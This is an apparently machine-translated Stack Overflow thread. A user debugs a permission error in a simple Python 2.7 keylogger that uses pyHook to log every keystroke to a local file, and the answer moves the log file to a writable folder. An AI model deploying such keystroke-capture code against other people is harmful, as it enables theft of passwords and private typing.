【问题标题】:Errno 13 python 2.7 not sure how to fixErrno 13 python 2.7 不确定如何修复
【发布时间】:2017-03-04 14:48:15
【问题描述】:

我正在尝试在 Python 2.7 中制作一个简单的键盘记录器。

这里是代码

# -*- coding: cp1252 -*-
import pyHook
import pythoncom
import sys
import logging
from subprocess import call
call(["cd","C:/"],shell=True)
file_log = 'C:/keyloggeroutput.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

当我尝试使用它时,它返回此错误:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "C:\Users\Finlay\Documents\Python-Projects\Mali\Mali.py", line 10, in OnKeyboardEvent
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
  File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
    hdlr = FileHandler(filename, mode)
  File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
    StreamHandler.__init__(self, self._open())
  File "C:\Python27\lib\logging\__init__.py", line 943, in _open
    stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'

感谢任何帮助,我可以看到权限被拒绝,但我不知道如何解决这个问题。

【问题讨论】:

  • 您是否尝试将keyloggeroutput.txt 放入您的“我的文档” 文件夹中?毕竟是权限问题……
  • 感谢@jkalden 现在可以使用了!

标签: python python-2.7 keylogger


【解决方案1】:

因为它有效,我把它作为答案:

您必须将keyloggeroutput.txt 放置在您有足够权限的文件夹中,例如“我的文档”如果您使用的是 MS Windows。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2021-10-17
    • 2017-02-12
    • 2017-09-25
    • 1970-01-01
    • 2015-08-05
    • 1970-01-01
    • 2014-07-22
    • 1970-01-01
    相关资源
    最近更新 更多